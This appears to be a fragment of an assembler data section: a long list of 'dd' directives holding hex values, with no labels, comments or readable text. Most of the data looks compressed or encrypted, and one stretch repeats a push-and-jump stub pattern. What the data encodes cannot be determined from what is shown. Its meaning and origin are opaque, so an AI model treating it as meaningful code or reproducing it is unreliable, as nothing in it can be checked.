dd 0BBB73AC8h, 0F00E2BFBh, 6BF31600h, 70EFDD73h, 97479DAFh
dd 730013FCh, 84B2D56Eh, 8A942E9h, 0A124D267h, 0D2F7E64Fh
dd 91927CF2h, 8C33C863h, 0E6CCFB5Eh, 452909BAh, 0CC54FDA4h
dd 0E58E3ED4h, 0F03620B3h, 41941579h, 3C28BD90h, 3D8F95CFh
dd 0DB7169F1h, 89D27AEDh, 28BE913Bh, 23B84F7Fh, 12B94C7Ch
dd 12ADDB84h, 5285E228h, 0FF873785h, 3EC17107h, 2CFA2296h
dd 297BE4DBh, 5EA61D3Bh, 19408670h, 0D0357F9Ch, 8EBE67FDh
dd 8BBB62F7h, 7DAD56ECh, 9334CDFCh, 506953ECh, 7B1B2784h
dd 0A9A12931h, 0A03D6A13h, 608A037h, 745E37B2h, 0E6077E6Ch
dd 5D1E2F75h, 57F0972Ah, 827020B6h, 2B716511h, 979F895Ch
dd 9227BEEEh, 861CBBEBh, 6577E8D6h, 0EFC22B71h, 0DB5EEC05h
dd 9CD16B15h, 0F91C0695h, 6A4CB171h, 40B418AEh, 0B059099Fh
dd 0B4FAE47Dh, 296C2699h, 0FAC66D40h, 2567A68Dh, 8749D7BAh
dd 3DEB0C4Eh, 0C8Ch, 7AE7F000h, 0C449A405h, 18h, 4E7C253Ah
dd 1683C9B3h, 5349A408h, 0BFF27DAAh, 45E67F26h, 4F1B059Eh
dd 0C64D7C25h, 0C25B0293h, 0F7E17A21h, 0BE544CD4h, 9E2F51D0h
dd 8FC16A47h, 4F100AF4h, 4AE38A1Dh, 0DE64DE1h, 0F09160A9h
dd 4F38BB49h, 0A323B7FFh, 0B63E614Bh, 0AB3B9ED0h, 5B4A1BF8h
dd 0E37C23C4h, 6CBEAC42h, 3741983Fh, 11DF8E64h, 7CABF07Ah
dd 0ACFBh, 20B5E600h, 1DB8E48Bh, 18B3E188h, 14ADDC83h
dd 0CA5D87Fh, 9C4DC77h, 0FFA63BD6h, 0F79E33D2h, 0F69D32C5h
dd 0CD9A2FC6h, 0AB00715Fh, 344B4399h, 8A820A62h, 7D184BF4h
dd 0F288F9E7h, 0D349A3h, 0A1200E16h, 0C8479E2Fh, 1DA54EF5h
dd 54820737h, 0D87912B9h, 61F79831h, 49F089B8h, 0D0BEC6B0h
dd 4198AD22h, 68F92CEDh, 0B446F1C7h, 1544F07Ah, 3894h
dd 0A4417200h, 0A13C680Fh, 9C37650Ch, 98316007h, 98295C03h
dd 95506803h, 933ACF62h, 8B32C766h, 8229BE59h, 511EB352h
dd 0AB84F5E3h, 0B8CF4399h, 332E6h, 5EA80000h, 6AFB2C7Ch
dd 790C3CC3h, 7E194BD2h, 8A2350D7h, 98295CE3h, 9E376AF1h
dd 0A84170F7h, 0B14C7A01h, 0B857830Ah, 89506711h, 4BE56E0h
dd 1000000h, 0E8835EF0h, 24048704h, 2DB2685Ch, 34890000h
dd 1DAD6824h, 14890000h, 68B85024h, 0D15DF37Fh, 6E0C1E8h
dd 0C74B652Dh, 5E132D47h, 0C689709Eh, 8124048Bh, 4C4h
dd 38C06800h, 24890000h, 24048124h, 4, 4EC835Ah, 8F243489h
dd 34FF0842h, 0C4815A24h, 4, 5124348Bh, 0C181E189h, 4
dd 8704C183h, 0E95C240Ch, 0FFFD34EFh, 5264BA92h, 6B79A2FFh
dd 0BB8B4C7Ah, 4817B81Fh, 0C503060Ah, 0D9E9C88Bh, 20000000h
dd 2C0FBE1Dh, 0DF2F82C1h, 0FDBEB6CFh, 36365D54h, 0BCECA4h
dd 52C55DD5h, 0A4D676D3h, 4100FC94h, 50C1AEC4h, 325277CBh
dd 9CACACh, 0F7F691B8h, 9382CD64h, 38h, 3Ch, 40h, 94h
dd 5, 1, 0A28h, 2, 20h dup(0)
dd 692524EAh, 1FC6E9h, 4B8F6800h, 0ECE9060Ah, 68FFFD33h
dd 60A4C8Ch, 0FD33E2E9h, 4D8068FFh, 0D8E9060Ah, 68FFFD33h
dd 60A4E58h, 0FD33CEE9h, 4EF268FFh, 0C4E9060Ah, 68FFFD33h
dd 60A4FABh, 0FD33BAE9h, 506768FFh, 0B0E9060Ah, 68FFFD33h
dd 60A513Fh, 0FD33A6E9h, 556D68FFh, 9CE9060Ah, 68FFFD33h
dd 60A55E5h, 0FD3392E9h, 571E68FFh, 88E9060Ah, 68FFFD33h
dd 60A5A00h, 0FD337EE9h, 5D8068FFh, 74E9060Ah, 68FFFD33h
dd 60A60DEh, 0FD336AE9h, 626668FFh, 60E9060Ah, 68FFFD33h
dd 60A62D1h, 0FD3356E9h, 633168FFh, 4CE9060Ah, 68FFFD33h
dd 60A638Dh, 0FD3342E9h, 646868FFh, 38E9060Ah, 68FFFD33h
dd 60A65D0h, 0FD332EE9h, 66AD68FFh, 24E9060Ah, 0CCFFFD33h
dd 0CE750A9Bh, 0C76E03A2h, 0C269FE99h, 0BE65FA93h, 0CA65FA8Bh
dd 31C4F7B2h, 2DC8F59Ch, 24BFF198h, 1DB8E88Fh, 5F4DBB88h
dd 4399A7EEh, 91142239h, 4988D2DEh, 531F0943h, 0D369FC2Ch
dd 0CCBA2C50h, 67D0F768h, 0BBB39113h, 0E0F9E38Ah, 0F98E2959h
dd 1AB0A830h, 0A224822Ch, 0C36A3D47h, 9BF48AF7h, 4AD4B743h
dd 68F92CD5h, 0E53E28C1h, 1FB6B9F0h, 37EAh, 820A4E00h
dd 2CD36E9Ch, 6E5CF293h, 47A300ECh, 0D19D4417h, 439CE064h
dd 0AF60AE91h, 513BDA06h, 0B5D1DDF8h, 0C9FF1Fh, 77270000h
dd 2F03A2CEh, 439CD4BEh, 804C3609h, 0C269FC2Ch, 757FB134h
dd 444ACAE7h, 8B26595Ah, 9A2D5DE4h, 0A93C6CF3h, 0B4FC2814h
dd 8CBC49A3h, 457AE531h, 0C2632F2Bh, 215CA92Ch, 0F3594BEEh
dd 0B49E3764h, 3FD606ADh, 8167EF98h, 7811B853h, 7F20BBE9h
dd 30C1FBE9h, 895C47A2h, 0ABA32BF4h, 637A2715h, 72454194h
dd 650033DCh, 700737BEh, 6D4E66CFh, 713B9D02h, 0A3D67F87h
dd 26CF7D12h, 71725CF9h, 0BACDA33Eh, 58F07AFDh, 1CE5A829h
dd 6C9D0000h, 719D44D9h, 6C9A41D6h, 66953CD1h, 5C8F36CBh
dd 819934C9h, 6D0293C6h, 67FC99C6h, 5EF38EC0h, 5BF087B7h
dd 0C132208Eh, 0C4399A7h, 0F92C23F5h, 0FC2CD368h, 2562D469h
dd 0FDDD59A2h, 0A1D3F999h, 25C65F06h, 2BD26396h, 0FD85A892h
dd 3CBF6F05h, 0ECA07140h, 0B09E34F7h, 49A3A93Fh, 87CDB78Ah
dd 47A2B805h, 0EAB65D30h, 439C977Dh, 7779C7AAh, 1FB61B5Eh
dd 0F27Ch, 0FC2CE000h, 0FC2AD369h, 0FDA44373h, 834C364h
dd 432DC66Dh, 0D570A32Ah, 0C7F7A02Eh, 6F08930h, 0A3EE94C0h
dd 91245449h, 9D2555FCh, 0A3EE3EAFh, 15B68949h, 453DC56Eh
dd 0FF87C1AFh, 4F2247A2h, 7169F1BAh, 33E5EDDBh, 650E4195h
dd 6BF9A033h, 93230C7Dh, 0E384573Dh, 43B6637Ah, 0A38DEE41h
dd 9740D6A9h, 953CD164h, 24B4E162h, 93DBC536h, 9C3D103Dh
dd 0E5BB5CF5h, 0F07BEF4Ch, 0E8C64776h, 0A000001Bh, 9A41D66Fh
dd 933ACF6Eh, 8E35CA65h, 8A31C65Fh, 8E29BE57h, 0ED88BB76h
dd 0E984B158h, 0E87BAD54h, 0E97CAC53h, 2B198754h, 4399A6BAh
dd 251CEE05h, 12B94C7Ch, 5B8E8F79h, 1DB134CAh, 0FDCC7D40h
dd 3ED90796h, 0D14FE97h, 99F3666h, 0EAFA6B59h, 0AA4549A3h
dd 0E42D3019h, 836D0E64h, 301ECE7Ch, 49A355BFh, 2B761B29h
dd 0A72FCEDFh, 2C1EEAD4h, 0B24D7BFCh, 2AD1720Bh, 3ED473A3h
dd 4BDBDBBBh, 291301BBh, 0D56B8D22h, 0D1BF554Dh, 47A28927h
dd 5DF82BD4h, 1FA67973h, 129A5A13h, 5864E7F7h, 61CDF837h
dd 0F0789B85h, 9A7462F8h, 0B5850D69h, 801144EDh, 7693BACh
dd 12B38681h, 4D3AC26Bh, 768EE5Fh, 0D0663981h, 76971E2h
dd 48E9BC81h, 6078C4B2h, 6C3F7F06h, 507D26D6h, 8B750EB5h
dd 26BB5A8Ah, 0E2B84F7Fh, 32C83A35h, 0F4DD5E8Dh, 0AC00001Ah
dd 0AE55EA7Bh, 0A74EE382h, 0A249DE79h, 9E45DA73h, 0AA45DA6Bh
dd 11A4D792h, 0DA8D57Ch, 49FD178h, 0FD98C86Fh, 3F2D9B68h
dd 4399A5CEh, 2C300219h, 0B0DEA1FCh, 0C8BD4868h, 8C0E9127h
dd 448CECC1h, 0F05548ECh, 9264C487h, 5EE68FA8h, 58E2D066h
dd 9347A281h, 66962BC0h, 0CA6058E0h, 0B158F321h, 76262E18h
dd 56F11DC6h, 9C611182h, 9F895C43h, 9B67AF59h, 1976A41h
dd 56F26351h, 3363D95h, 0AE17EA72h, 284F31EFh, 0B3AC961Ah
dd 46C0B7A7h, 554DD57Ch, 0B0210FBFh, 0FB75E410h, 48363E28h
dd 73E30B6Eh, 62D3C189h, 0AD6FDD0Bh, 49239DAh, 8CCC0A81h
dd 0FBE5243Dh, 0C25850D8h, 0DC8C88D4h, 0E67C4F6Dh, 0E57A0D3Dh
dd 0A1770E3Eh, 23A66EE4h, 1C961746h, 0D400001Ah, 0D67D12A3h
dd 0CF760BAAh, 0CA7106A1h, 0C66D029Bh, 0D26D0293h, 39CCFFBAh
dd 35D0FDA4h, 2CC7F9A0h, 25C0F097h, 6755C390h, 4399A3F6h
dd 2C582A41h, 19C269FCh, 15039991h, 47A2E0EBh, 0A93ED3A6h
dd 7E76FE62h, 0C750FAE8h, 380B419Bh, 2E8AA5B1h, 8008D12Dh
dd 2A04F288h, 459EEBF8h, 91BEB5AAh, 9031C501h, 0C0B840E9h
dd 0A2D17A2Ah, 0ABD96007h, 2FD06910h, 2BB3FF45h, 0A77A98E5h
dd 9D386811h, 7DD75A08h, 59BBF188h, 48787963h, 0D324D7ADh
dd 679648AFh, 1982E6h, 6C093A00h, 690430D7h, 64FF2DD4h
dd 60F928CFh, 60F124CBh, 5D1830CBh, 5B02972Ah, 53FA8F2Eh
dd 4AF18621h, 19E67B1Ah, 0A44CBDABh, 80974399h, 69FC2CAEh
dd 999119C2h, 0F33F1503h, 875A47A2h, 16AA5DF2h, 1200968Eh
dd 419BEA68h, 0BDC95023h, 0B25744FAh, 72080088h, 2463D4C2h
dd 0DBAE4053h, 21FBE9F1h, 3C3E521Fh, 5AC4B7Bh, 8535CB6Ch
dd 4C1F2697h, 9E376A3Ah, 3D65EF7h, 0CF570019h, 689841D7h
dd 15E9105h, 12B3316Bh, 0E6322028h, 9F384BE6h, 1FFA6CEFh
dd 8DDE215Ah, 455B48B9h, 0D6C09334h, 0CA7309DCh, 0BF66FB9Ah
dd 5722F88Fh, 6BE9356Fh, 18C9BB3Ch, 50810000h, 4D7920B5h
dd 48761DB2h, 427118ADh, 386B12A7h, 556D089Dh, 39CE679Ah
dd 33C86592h, 32C75A8Ch, 27BC5B8Bh, 8DFEEC5Ah, 0D84399A3h
dd 7C25EFC1h, 740DB44Dh, 0BE59898Ah, 0F9E66E17h, 0A3F29A0Bh
dd 0A912E549h, 52AA56A0h, 871DBEDEh, 0A2B14399h, 0F68B5E47h
dd 9D259B61h, 77210FA5h, 32419B88h, 770B7C6Ah, 83563D95h
dd 74A34CE2h, 7785F6E4h, 0FDD03D95h, 0B31CB55Ch, 24A30F43h
dd 1710FA95h, 0CCAD5D0Bh, 7F77FFCFh, 721FBE9h, 693CA7CBh
dd 0C43523D3h, 0FA3C507h, 9039523Ch, 8C7A1008h, 0A1C3FE40h
dd 0F59E3407h, 0F69D32C5h, 92592FC6h, 28578DDDh, 180D78F9h
dd 94C50000h, 99C56C01h, 94C269FEh, 8EBD64F9h, 84B75EF3h
dd 0A9C15CF1h, 952ABBEEh, 8F24C1EEh, 861BB6E8h, 8318AFDFh
dd 0E95A48B6h, 344399A1h, 0FC2C4B1Dh, 0F72AD369h, 3A43D70h
dd 0CF570019h, 955341D7h, 40479E3Ah, 7E27D76Dh, 7912B94Ch
dd 0E76C7F10h, 1E08EA8Eh, 0C55AED1Dh, 9999F8D9h, 7F73FA43h
dd 741343EAh, 57852EDEh, 9977E8BCh, 0FAC24399h, 99999B0Ch
dd 7213E643h, 30B88188h, 34A59343h, 7F439999h, 9967D8ACh
dd 0F1B24399h, 0EA832AC5h, 6212A849h, 4BF28DB9h, 0C482C8B2h
dd 6F4193E0h, 315D069Ch, 9203F1A1h, 0DD3D8F50h, 50C5360Ah
dd 3D103D8Fh, 3460079Ch, 36DD78ABh, 0A819079Dh, 0F33D8F50h
dd 51D87F20h, 0DDB08621h, 0EDF07F5Ah, 17353DBEh, 0BCED0000h
dd 0C1ED9429h, 0BCEA9126h, 0B6E58C21h, 0ACDF861Bh, 0D1E98419h
dd 0BD52E316h, 0B74CE916h, 0AE43DE10h, 0AB40D707h, 118270DEh
dd 5C4399A1h, 820A7345h, 9B44F48Ah, 912AD16Ch, 39A361A7h
dd 7B4E479Eh, 8B0C3CE5h
dd 7D16BD58h, 0F77E47DCh, 227F6D03h, 4D4399A9h, 16AFDC85h
dd 99A9D142h, 0A8491C43h, 97CA7301h, 856E2136h, 0C3644FAAh
dd 5399831Ch, 4399CDE5h, 30E12F12h, 16BD5887h, 9B3A937Dh
dd 411FB8E1h, 6Dh, 8F830AA5h, 0F5C676F9h, 0FB0913AAh, 0B61B0911h
dd 0F149A376h, 0B1DF881Eh, 76C23321h, 3A0D49A3h, 6F59F299h
dd 761D8A56h, 0BA4A49A3h, 90031E37h, 0EAD4676Ch, 963F818Fh
dd 4419AED4h, 2Dh, 0DEA225A8h, 8A596A21h, 1785CBB5h, 3949A2FFh
dd 3523B9B1h, 47A210D7h, 0E55644F4h, 30439BDFh, 0A679735Dh
dd 9D386710h, 6C735DF6h, 877525FAh, 49A3F216h, 0F1F46553h
dd 6C3F49A3h, 42711E4h, 0D263967Ch, 3BAD9B31h, 8647A2D0h
dd 55850CB3h, 6910A1D4h, 0F0992FD0h, 0E98229C4h, 0E9902D5Ah
dd 0B15F6650h, 983FDA08h, 0E41415FFh, 0CF38BB51h, 0B628373Bh
dd 0DC637C66h, 0AD7118A9h, 0F2220C1Ah, 0E717BE53h, 7800A950h
dd 232C9D8Bh, 0A477439Ch, 0CFBD6D03h, 439C235Eh, 233CAD9Bh
dd 0B487439Ch, 576642Ch, 50439C23h, 0EAF2DC7Dh, 9B1F8AFCh
dd 6C02D541h, 0EF897C3h, 95306007h, 789622EEh, 0A3D635C2h
dd 0BC5DF824h, 0D7608E15h, 0CA7112A5h, 0C08165Fh, 0C97D0040h
dd 30FDC971h, 6106B55h, 0B84DE818h, 0FB6C5A0Ah, 46C55E5Dh
dd 58888973h, 0F7A427BDh, 0C4A15704h, 0BF60A40Dh, 318301F0h
dd 78A72E47h, 75103FE8h, 5E0230A1h, 8DBA7BC5h, 18AE4FF0h
dd 0EF0E7F95h, 887243C4h, 6DBB046Fh, 56E313BCh, 7F19223h
dd 0AA3FD606h, 8D34D303h, 0EFE57CFFh, 0FF0E9765h, 726AF215h
dd 680733DCh, 1E88767Eh, 4BC35D7Bh, 2CD372A2h, 7B3FB09Eh
dd 0B78ABF57h, 71322C16h, 0A001A843h, 766BDBEBh, 0E1771895h
dd 572682F3h, 59FACDBFh, 65ED1DC4h, 57260677h, 0F0B651BFh
dd 339A603Fh, 32C8690Ah, 48239482h, 6A8DBF57h, 445C0CDFh
dd 7F693CC4h, 13B2DF66h, 31B2E56Ch, 21C86904h, 0B4E36C9Ah
dd 61D17819h, 501C1826h, 95C573BDh, 96C66D02h, 27AF58FFh
dd 0D3740F41h, 40814F3Dh, 794CBD56h, 7A0D3DE4h, 209A07D3h
dd 0DF5C950h, 0FD63898Ah, 0C8B26E68h, 4575A36Dh, 54991CB2h
dd 9C33F607h, 98B5D13h, 55F6C41Ch, 8BBD646Bh, 97CA51F8h
dd 40A657FEh, 24CB6A97h, 0F846A18Bh, 0F4891C4Eh, 0D46F9D46h
dd 1CB7E9EAh, 26BFEE75h, 1E28BB7Fh, 0CE63FE30h, 0CC62F527h
dd 6A54F323h, 2820A851h, 38800F92h, 0F1D3A5E6h, 9F11FF07h
dd 0DCA74F87h, 87CD3E2Ch, 4518A349h, 0E78E615Bh, 3BE5337Ch
dd 32D96E09h, 35BC6302h, 1ACB7205h, 3969D761h, 0CB0A099Eh
dd 11C0092Ah, 2Fh, 4E7C2575h, 8A9CBCEBh, 7314933Ch, 77A433CCh
dd 0B49E37DEh, 3FE681B3h, 0FC280E96h, 8021BA61h, 0F856FCEAh
dd 3E1147A1h, 2F08A9h, 2C7E0000h, 17C067FAh, 5801978Fh
dd 69279029h, 0C878DDF9h, 0C2B0B8A2h, 47A21064h, 7D3EF48Fh
dd 0D16BA52Eh, 0FCEA9A30h, 439CD88Bh, 121903D6h, 497C25A0h
dd 1DDFCEB8h, 89321FA7h, 811AC15Ch, 0A3F23CADh, 0D1BF8749h
dd 49A3F260h, 9637D8ABh, 7BA75000h, 0F29708DCh, 0FE249A3h
dd 90A3C0A6h, 0CEB82D88h, 652ED8C6h, 2BDB47A2h, 9C54CC3Dh
dd 5A441743h, 39AA9860h, 84439C54h, 7D8910B1h, 0AF4F5D0Ch
dd 18AEA62Eh, 0D5B6E568h, 0C9664918h, 0E95484F5h, 12FCCF4Eh
dd 83B15A0Ah, 7DE041E8h, 0BEF3DD5Ch, 0AD117A1Bh, 0E833CDC3h
dd 512B715Bh, 6C4CE8D4h, 0C149F299h, 0F94533C9h, 0C046E1CBh
dd 7EAE57EDh, 7BAB52E7h, 0D295D14h, 0DA7B2C93h, 0A368D304h
dd 1FA0CFFAh, 1307h, 62F78EBFh, 5BF08FBBh, 56EB86B4h, 50E580AFh
dd 46DB76A9h, 0A5D893ABh, 0A3D0770Ch, 9CCE750Ah, 9DCD7409h
dd 3AA8750Ah, 999DDB4Ch, 3D0F2643h, 0A3F176E7h, 7A30B349h
dd 56C7B5F1h, 0A149A38Ah, 26DC65CEh, 0A1294C36h, 9B2513A9h
dd 0C847A291h, 0AD54F31Fh, 5D302A14h, 6BEC1EC7h, 67FC9D38h
dd 4CF38EC0h, 0E11495C5h, 6F10A950h, 6C793099h, 5ADB0AFAh
dd 128Fh, 0EA7F1647h, 0E3781743h, 0DE730E3Ch, 0D86D0837h
dd 0CE63FE31h, 2D601B33h, 2B58FF94h, 2456FD92h, 2555FC91h
dd 0C230FD92h, 999D63D4h, 0C597AE43h, 6D9C820Ah, 781FB6E6h
dd 79D3EDFh, 0A2E18F19h, 1E0CBC47h, 439CC1ADh, 413B25F8h
dd 32FD86Eh, 0FC28CF64h, 1273F99h, 0F38C33CEh, 6EF4B48Ah
dd 6708A93Ch, 5FFA28D1h, 1C351FB8h, 2BD26595h, 78A977C0h
dd 0A469DAC8h, 0E1B4439Ch, 2BCAF6F7h, 0AC100196h, 14972D21h
dd 29BC538Ch, 0B2E27151h, 0E9D36C13h, 62FD29F0h, 51842DBBh
dd 968019C0h, 9C4AE250h, 35033C43h, 0AB40DF0Bh, 0A73DD804h
dd 4D37CEFEh, 0B038B34h, 91ED8775h, 0C7884196h, 0BB54FB9Ah
dd 51D4841Ah, 2590D1E6h, 0B92A18BCh, 43D92D1h, 0A5A69031h
dd 0A64DE275h, 8F38DF76h, 0C9790F07h, 0C4FD4446h, 0E2CC8184h
dd 8C469F9Ch, 1E0CBC3Bh, 3787B6ADh, 413B25F8h, 0FF2FD86Eh
dd 0FC2CD368h, 9119C269h, 8C800399h, 38800C62h, 0B89668E0h
dd 0E66DB84Fh, 5806F4FCh, 1535861Bh, 0C2359692h, 0CA59A205h
dd 1711FB9Ah, 0FB716E44h, 1A49E448h, 115699h, 48DD0E00h
dd 45E00CB3h, 40DB09B0h, 3CD504ABh, 34CD00A7h, 31EC049Fh
dd 27CE63FEh, 1FC65BFAh, 1EC55AEDh, 0F5C257EEh, 9B289987h
dd 5C734399h, 0F27DE78Ah, 7FB149A3h, 0FE864FE4h, 5246CE3Eh
dd 8B2CF804h, 2D1207F5h, 5A2D479Eh, 64ED1BC4h, 49BAA838h
dd 9443999Ch, 0EA7F20C1h, 0B401D478h, 5BDB1A2Eh, 3F000001h
dd 16877525h, 6149A3F2h, 0FC81A48Eh, 3725AA04h, 49A3F2C9h
dd 25217BD6h, 0C43D2B1h, 0F389810Ah, 0D9801D4Ah, 0AA3FC278h
dd 9F4096D0h, 4D4DE9B5h, 0F5DF72A4h, 0C37F0A29h, 0DA99722Dh
dd 95C554C8h, 21C25B02h, 0D4A234C7h, 1CAEB411h, 24EBh
dd 810A4F00h, 37252F89h, 49A3F2C9h, 0ED5E4C14h, 3849A3F1h
dd 256AC465h, 63FE2CB1h, 32E4F609h, 41h, 89810AA8h, 0C937252Fh
dd 0D649A3F2h, 4735E57Bh, 49A3F2D6h, 50EEC840h, 5AE215B2h
dd 2ACB6699h, 7C257440h, 63D4C24Ah, 0AE49A3F2h, 0C933ADBh
dd 13A243DEh, 7A047E6h, 2CA1151Dh, 0F60963FEh, 0B411D4E4h
dd 27D71CAEh, 0A3F2C839h, 56401346h, 4162h, 7F0AC600h
dd 1E4CF58Bh, 5943DC83h, 8775258Dh, 49A3F216h, 9CA48E61h
dd 0DD4E3CECh, 2849A3F2h, 0B7256B55h, 249A3F2h, 0B125D52Fh
dd 0B65002Ch, 16877525h, 6149A3F2h, 5B6DA48Eh, 4B32h, 7C25A800h
dd 0ACCFB94Ch, 0C16A6521h, 4A07E2DCh, 0D39013A9h, 0B2D57309h
dd 25D39F89h, 66D7C575h, 0B149A3F2h, 40AEF4DEh, 4D49A3F2h
dd 0B12598F2h, 16877525h, 6149A3F2h, 77A3A48Eh, 7C257ED8h
dd 760FB64Fh, 5E07558Ch, 0E3AF992Ch, 0FFFE9C32h, 820AA8FFh
dd 4806F48Ah, 0E5479E3Ah, 0A6972262h, 3C26C2EAh, 30D96F42h
dd 0BE4B7700h, 0B158F98Ch, 19E27718h, 4ABBA992h, 954399D2h
dd 9D8B21C2h, 4399D22Ch, 31FDA477h, 4399D2C2h, 9138D502h
dd 16CCB630h, 0CB5AA3DEh, 0E858FF9Eh, 0FDA363ADh, 0BCA0C1Ah
dd 0D11FB8D9h, 4Fh, 0F27AE735h, 0EB749A3h, 179E45E0h, 0C2AC4DE8h
dd 61F691C1h, 0A3F20775h, 0BBA12949h, 0B049F08Fh, 0B758F321h
dd 12837121h, 4F49A3F2h, 0A3F1F061h, 0E0683B49h, 2D1B230Dh
dd 47A2F70Bh, 0A04EE3B6h, 0E40C9F7h, 9233CC73h, 0A9ADA8h
dd 25230000h, 0C0EE4F7Ch, 0D4F4A0AFh, 3BD47B1Ch, 0AEA62E51h
dd 0E9542A18h, 9C6F47A2h, 5FAE8306h, 0C2485298h, 0F527D0D8h
dd 9C1FCD62h, 85A127C1h, 0A2A38DCAh, 852ED570h, 816F05FDh
dd 4196F7AFh, 6811A77Ah, 5F069B36h, 4AF39A2Dh, 0C60302C2h
dd 0EF96315Dh, 0CC0ED56h, 4533C96Ah, 3B8CB85Bh, 842DC396h
dd 7E2CC154h, 240EA9D5h, 7E54F323h, 0EE704277h, 74830433h
dd 2C00000Eh, 2ED56AFBh, 27CE6302h, 22C95EF9h, 1EC55AF3h
dd 2AC55AEBh, 91245712h, 8D2855FCh, 841F51F8h, 7D1848EFh
dd 0BFAD1BE8h, 4399984Eh, 2CB08299h, 3BC269FCh, 14C56C0Bh
dd 3363CD5Bh, 0D500FF94h, 719AEBBh, 3Eh, 8A820A6Bh, 0ED2C06F4h
dd 744747A2h, 7F1646CDh, 741343EAh, 0A49C24CDh, 0FF705E0Eh
dd 3C439CECh, 9CEDDD4Eh, 0CD552843h, 1A0810FAh, 419BF044h
dd 49F78C5Fh, 31D871A0h, 40DB0998h, 2C8A56h, 0F926CF65h
dd 321CB55Ch, 0BD58842Bh, 604AA427h, 620BAE0Ah, 28D15F78h
dd 1DB65DF8h, 7D89ED33h, 87B949A3h, 68E57ECh, 1FC8780Eh
dd 2A705AEDh, 479DC578h, 31DA7043h, 0AD487A03h, 700EE044h
dd 0FE9F6B6Fh, 1D4F769h, 0DB1A2EB4h, 18Eh, 8D850A3Fh, 0C9372533h
dd 649A3F2h, 0EC932E5Dh, 0D6316953h, 4F7C257Ch, 50C4CCB6h
dd 0A0C43D2h, 252F8981h, 0D5A971A2h, 7A645E2Ah, 7F0AD69Ah
dd 2ED5709Dh, 0B55EF495h, 0EA83EC87h, 0A4276CBAh, 3499654Fh
dd 0B1A225A2h, 102C9534h, 7D9203F1h, 0ADD49A3h, 0BF267F69h
dd 1D1CAF28h, 46h, 9B810A81h, 4937CD68h, 49A3F2D8h, 55AF5023h
dd 0F2C93725h, 411449A3h, 25B125E7h, 0C465F275h, 7F650F51h
dd 0A3543AABh, 0C8B28549h, 68FE99C7h, 0BF590BFh, 25E4F63Fh
dd 0FB347A2h, 0AE98D7AEh, 3BB3h, 810A2900h, 37252F89h
dd 49A3F2C9h, 25217BD6h, 0FB64F7Ch, 10848C76h, 0C7507C25h
dd 0B9600194h, 0C8639120h, 9D9E8821h, 953ED46Fh, 17B6E263h
dd 8F36D770h, 9E3FDA08h, 0E4F6E8B4h, 0AEB411D4h, 6DEB1Ch
dd 0A4F0000h, 25318B7Fh, 0A3F2C937h, 2D5D0649h, 705AF39Ah
dd 8A0DA376h, 0CBAA359Eh, 8D59431Eh, 0A6CFA225h, 113A6577h
dd 11B85582h, 0D6868E78h, 8BC6EB53h, 0A72F2D4h, 6ECD3626h
dd 84F5E303h, 0CF49A3B1h, 0A5715BFCh, 0B65002Ch, 0B5507C25h
dd 2192800Eh, 6C49A3F2h, 0D70EF899h, 2BA225C5h, 663E2B87h
dd 730E41D0h, 328E89h, 0A040000h, 25318B7Fh, 0A3F2C937h
dd 0E57BD649h, 5B890A3Ch, 69351FC0h, 2CB125h, 0F2118270h
dd 895C49A3h, 0A8F68EE8h, 5C6CD3FFh, 0E90F3C8Eh, 0CCB657h
dd 0FFFE6932h, 820AA8FFh, 4806F48Ah, 0E5479E3Ah, 7038E862h
dd 957F3BCFh, 349A009Bh, 4B6F0302h, 3B6B14AAh, 2B5D069Ch
dd 0DEA7AE98h, 0DFCD6357h, 4399226Eh, 733FE6B9h, 43992204h
dd 0FAFC4A2Dh, 1FB98BDBh, 2101h, 7AE76500h, 0BE49A3F2h
dd 0C162F78Eh, 0F7h, 106E78FBh, 0EA56B7DEh, 0A3248BFCh
dd 6203D649h, 820AAC78h, 571F48Ah, 388F65FCh, 0B152ED19h
dd 660FBFC7h, 6FB59F36h, 47A2B8ADh, 3FEF8558h, 9830A18Fh
dd 0A87B439Ch, 2C11AA3Fh, 0D3BDF495h, 6F05A0D2h, 0A32DC3ECh
dd 8876FCA3h, 439CAA17h, 85EE8F62h, 52DA6B78h, 0CDD4BEA9h
dd 0BA61F426h, 0B756832Ch, 6A8D7710h, 0A454EAE2h, 9D2CCBFBh
dd 9730D76Ah, 9EA167ADh, 895C4196h, 0B5184AF3h, 0F23765D7h
dd 0E57B1CCCh, 0BAD64735h, 4E213D92h, 84B65D64h, 19A14AF1h
dd 0B39D8B21h, 0EE3B8CF7h, 0ACDC851Bh, 0BB5CFB2Bh, 0CA4F7F26h
dd 1492399Ch, 9802E0F4h, 0A13C68F7h, 0EAC061FAh, 0EE7082C1h
dd 0F441C2F1h, 0AC00000Ah, 0AE55EA7Bh, 0A74EE382h, 0A249DE79h
dd 9E45DA73h, 0AA45DA6Bh, 11A4D792h, 0DA8D57Ch, 49FD178h
dd 0FD98C86Fh, 3F2D9B68h, 439995CEh, 2C300219h, 0AF4E7BFCh
dd 0B0E0670Eh, 0A3D67F15h, 0F2BE2F1Dh, 360949A3h, 0E192AB95h
dd 80291E28h, 8412B954h, 0A3F22596h, 0FC9D7049h, 46E11112h
dd 40D707B0h, 85504F56h, 5719AEBCh, 47h, 0C2820ABBh, 695BBAFBh
dd 6E04A55Dh, 0D13E48EBh, 0A33E72E3h, 81EABD49h, 0EBD59A8Dh
dd 1703F5E3h, 7B4E47A2h, 8A1D4DD4h, 871E4EF5h, 0B7AF37E0h
dd 7713321h, 491C419Bh, 685606B4h, 3D94E5F7h, 0B1E06F42h
dd 2C622E18h, 0E4D06500h, 49A3F27Ah, 54E97CAEh, 750B038Bh
dd 9E39EA87h, 2CC29547h, 13BA5583h, 0DF88907Ah, 0F8116B1h
dd 2EB401D4h, 0F21EC71Ah, 8413AC53h, 811AC154h, 14DA397h
dd 0A070000h, 25338D85h, 0FB64F7Ch, 96848C76h, 49A3F228h
dd 27BAEC35h, 0EC46E780h, 0DC81A225h, 65C600C5h, 0A3330677h
dd 0DD7E5149h, 0D277EBF3h, 784DD043h, 0F105DA47h, 0AD39F89h
dd 4D2F8981h, 8B7F0A89h, 25A23431h, 10B74A7Ch, 0B1348D77h
dd 4B1CAEB4h, 40h, 4D7C25AFh, 0DE740DB4h, 0A3F27FF0h, 0DF7CA49h
dd 0F6961EAh, 0F2C93725h, 411449A3h, 497C25E7h, 8E7811B8h
dd 0FE2C1286h, 0E24D649Bh, 0AD4ECFC2h, 507C2553h, 8B750EB5h
dd 38324254h, 0A8000000h, 0B8497C25h, 0BAE97811h, 0F5DF781Fh
dd 0F75149D2h, 0F2C93725h, 5D0649A3h, 72AA942Fh, 0A5D88117h
